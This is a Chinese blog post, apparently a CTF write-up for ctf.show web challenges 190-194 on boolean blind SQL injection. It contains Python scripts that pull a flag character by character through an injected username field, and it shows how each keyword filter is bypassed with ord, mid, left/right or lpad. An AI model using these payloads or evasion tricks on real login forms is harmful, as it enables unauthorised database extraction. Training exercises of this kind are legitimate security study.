首页 > 其他分享 >布尔盲注web入门190-194

布尔盲注web入门190-194

时间:2024-12-07 16:54:03浏览次数:5  
标签:username web 194 mid 190 substr low ascii data

基础脚本

import requests
url = 'http://9980403b-660a-4aa7-90a0-c791e0e00ca6.challenge.ctf.show/api/index.php'
result = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        data = {
            "username": f"admin' and if(ascii(substr((select group_concat(f1ag)from ctfshow_fl0g),{i},1))>{mid},1,0)#",
            "password": "1"
        }
        r = requests.post(url, data=data).text

        if '\\u5bc6\\u7801\\u9519\\u8bef' in r:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        result += chr(low)
    else:
        break
    print(result)

过滤1:

if(preg_match('/file|into|ascii/i', $username)){

绕过姿势:使用ord代替ascii

data = {
            "username": f"admin' and if(ord(substr((select group_concat(f1ag)from ctfshow_fl0g),{i},1))>{mid},1,0)#",

            "password": "1"
        }

过滤2:

if(preg_match('/file|into|ascii|ord|hex/i', $username)){

绕过姿势:使用字典直接对比是否正确

import requests
 
url = "http://128f6cc0-3428-4086-8f43-384bac13bae8.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz'
for j in range(1, 50):
    for k in dic:
        data = {
            'username': f"0'||if(substr((select group_concat(f1ag)from ctfshow_fl0g),{j},1)='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

这种方式前两种也可以直接出来,但是会慢一点
过滤3:

if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){

绕过姿势:使用 mid 代替新增过滤 substr,也可以用left和right

data = {
            'username': f"0'||if(mid((select group_concat(f1ag)from ctfshow_flxg),{j},1)='{k}',1,0)#",
            'password': '1'
        }

这里的库名改了
过滤4:

if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){

绕过姿势:lpad 和 rpad 也可以和上一个一样用mid

标签:username,web,194,mid,190,substr,low,ascii,data
From: https://www.cnblogs.com/govced/p/18592329

相关文章

  • Web(1)
    动态网页所谓的动态网页,是指跟静态网页相对的一种网页编程技术。静态网页,随着html代码的生成,页面的内容和显示效果就基本上不会发生变化了——除非你修改html页面代码。而动态网页则不然,页面代码虽然没有变,但是显示的内容却是可以随着时间、环境或者数据库操作的结果而发生改变......
  • web工程
    创建web工程idea中创建的web工程部署到tomcat上idea关联tomcat、项目部署到tomcat上idea启动tomcat访问tomcat下项目中指定的资源http://服务器ip:8080/上下文路径/资源名称设置默认首页默认打开的资源。<?xmlversion="1.0"encoding="UTF-8"?><web-appxmlns="......
  • Web003_后端基础
    简介前端既然是能看到的,后端就是看不到的,比如处理我们请求的服务器应用程序消息队列中间件:如RabbitMQ、ApacheKafka、ActiveMQ,用于在应用程序之间进行异步消息传递。数据库中间件:如MySQLProxy、PostgreSQLPgBouncer,用于管理和访问数据库。缓存中间件:如Redis、Memcached,用......
  • 133. 大学生HTML5期末大作业 ―【迪士尼影视网页】 Web前端网页制作 html5+css3+js
    目录一、更多推荐二、网页简介三、网页文件四、网页效果五、代码展示1.html2.CSS3.JS六、总结1.简洁实用2.使用方便3.整体性好4.形象突出5.交互式强七、更多推荐一、更多推荐欢迎来到我的CSDN主页!Web前端网页制作、大学生期末大作业、课程设计、毕业设计、......
  • CTF之web-php弱类型
    题目来源-bugku拿到题目点开后看到一段php代码首先这段代码是从URL参数中获取名为num的值,并将其赋给变量$num,如果num不是数字,才会执行以下代码,所以if($num==1)这一条件在$num不是数字的情况下永远不会为真,就拿不到flag了。但仔细观察,if($num==1)中是弱类型的比较,(如果不知道......
  • ASP.NET利用WEBUPLOADER实现超大文件分片上传、断点续传
    前端:vue2,vue3,vue-cli,html,jquery后端:asp.net,.netcore数据库:SQLServer,MySQL,Oracle,达梦,人大金仓,国产数据库功能:大文件上传下载,断点续传,文件夹上传下载,加密传输,加密存储,云对象存储今天早上又有网友加我微信,实际上我的微信号之前就已经在网上公开了,但是很多网友......
  • Web前端基础-常见标签使用--07
    常见标签使用标题和段落<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><title>Title</title></head><body><!--HTML中的标签是HTML语法提供的,所以每一个标签都是固定标签名--><h1>......
  • 介绍一下 WebApplicationContext 思维导图 代码示例(java 架构)
    WebApplicationContext是Spring框架中的一个接口,它是ApplicationContext的扩展,专门用于Web应用程序。它提供了对Web特定功能的支持,例如解析主题(themes)、管理国际化资源、以及与Servlet容器集成等。下面是一个关于WebApplicationContext的思维导图大纲和一些代码示例。WebAp......
  • websocket握手成功会返回一个干什么状态吗?是200吗?
    WebSocket握手成功不会返回200状态码。HTTP200状态码表示的是一个成功的HTTP请求。而WebSocket握手本身是一个HTTP请求,但其目的是为了升级协议到WebSocket。成功建立WebSocket连接时,服务器返回的HTTP状态码是101SwitchingProtocols。客户端收到这个状态码后......
  • websocket可以携带cookie吗?为什么?如果可以,怎样做到呢?
    WebSocket本身不能直接携带Cookie。Cookie是HTTP协议的一部分,而WebSocket是独立于HTTP的协议,虽然它通常使用HTTP协议进行初始握手。原因:不同的协议:Cookie的设计是与HTTP请求/响应周期紧密相关的。它通过HTTP头部在客户端和服务器之间来回传递。WebSocket建立连接后,就脱离了H......